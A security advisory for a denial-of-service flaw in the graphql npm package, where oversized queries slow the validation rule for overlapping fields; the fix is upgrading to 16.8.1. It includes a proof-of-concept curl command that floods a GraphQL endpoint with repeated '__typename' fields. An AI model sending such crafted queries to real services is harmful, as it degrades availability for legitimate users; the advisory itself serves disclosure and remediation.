SNYK-JS-GRAPHQL-5905181
## Overview Affected versions of this package are vulnerable to Denial of Service (DoS) due to insufficient checks in the `OverlappingFieldsCanBeMergedRule.ts` file when parsing large queries. This vulnerability allows an attacker to degrade system performance. **Note:** It was not proven that this vulnerability can crash the process. ## PoC 1) `pnpm install && pnpm start` 2) Run ```javascript curl \ --data "{\"query\":\"{ $(python3 -c "print('%s' % ('__typename ' * 1000))")}\"}" \ --header 'Content-Type: application/json' \ --include \ --request POST \ https://example.com/graphql ``` This will take ~2.5s and increase to ~21s if you change the number of __typename to 3000 ## Details Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users. Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime. One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines. When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries. Two common types of DoS vulnerabilities: * High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082). * Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108) ## Remediation Upgrade `graphql` to version 16.8.1 or higher. ## References - [GitHub Commit](https://github.com/graphql/graphql-js/commit/f94b511386c7e47bd0380dcd56553dc063320226) - [GitHub Issue](https://github.com/graphql/graphql-js/issues/3955) - [GitHub PR](https://github.com/graphql/graphql-js/pull/3972) - [Github Release](https://github.com/graphql/graphql-js/releases/tag/v16.8.1)
Risk Scores
Affected Products
| Vendor | Product | Versions |
|---|---|---|
Timeline
- Sep 19, 2023 CVE Updated
- Sep 19, 2023 CVE Published
References
- https://security.snyk.io/vuln/SNYK-JS-GRAPHQL-5905181 advisory
- https://learn.snyk.io/lesson/redos/ technical
- https://snyk.io/vuln/npm:ws:20171108 technical
- https://github.com/graphql/graphql-js/commit/f94b511386c7e47bd0380dcd56553dc063320226 patch
- https://github.com/graphql/graphql-js/issues/3955 issue
- https://github.com/graphql/graphql-js/pull/3972 patch
- https://github.com/graphql/graphql-js/releases/tag/v16.8.1 vendor
- https://example.com/graphql technical